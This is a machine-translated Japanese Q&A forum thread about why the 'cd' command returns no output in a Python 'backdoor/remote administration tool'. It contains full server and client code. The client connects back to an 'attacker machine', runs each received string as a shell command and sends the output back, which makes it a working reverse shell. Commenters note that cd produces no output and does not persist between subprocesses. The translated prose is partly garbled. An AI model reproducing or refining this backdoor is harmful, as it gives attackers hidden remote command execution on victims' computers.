-2
クライアントがサーバに接続してからサーバがコマンドをクライアントに送信するまで、クライアントからコマンドが送信された情報がサーバに返されます。しかし、私がcdコマンドを使用すると、コマンド出力はサーバーに返されません。クライアントのサブプロセスコードは何ですか?pythonバックドア/リモート管理ツールのコマンドcd以外の作業cd
は、ここに私のサーバーのコードです:
from socket import *
HOST = 'localhost' # '' means bind to all interfaces
PORT = 443 # port
# create our socket handler
s = socket(AF_INET, SOCK_STREAM)
# set is so that when we cancel out we can reuse port
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# bind to interface
s.bind((HOST, PORT))
# print we are accepting connections
print ("Listening on ")
print (HOST)
print(PORT)
# listen for only 10 connection
s.listen(10)
# accept connections
conn, addr = s.accept()
# print connected by ipaddress
print 'Connected by', addr
# receive initial connection
data = conn.recv(1024)
while True:
task = raw_input("Enter the task needed")
if task == "cmd":
# start loop
while True:
command = raw_input("Enter shell command or quit: ")
# send shell command
conn.send(command)
# receive output from linux command
data = conn.recv(1024)
# print the output of the linux command
print data
# if we specify quit then break out of loop and close socket
if command == "quit": break
# close socket
conn.close()
The Client Code:
import socket,subprocess
HOST = 'localhost' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send("Connection Established!")
while True:
# recieve shell command
data = s.recv(1024)
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# if its quit, then break out and close socket
if data == "quit": break
# close socket
s.close()
たぶん、この質問はhttp://stackoverflow.com/q/21406887/1741542 –
'cd'コマンドは、任意の出力を持っていないのに役立ちます。サブプロセスシェルで 'cd'を実行した場合、その変更はサブプロセスの持続時間だけであり、親プロセスまたは今後のサブプロセスでは永続的ではないことに注意してください。 – tdelaney
おかげさまで、私はcdコマンドオプションを追加する必要があると思います – Stegzy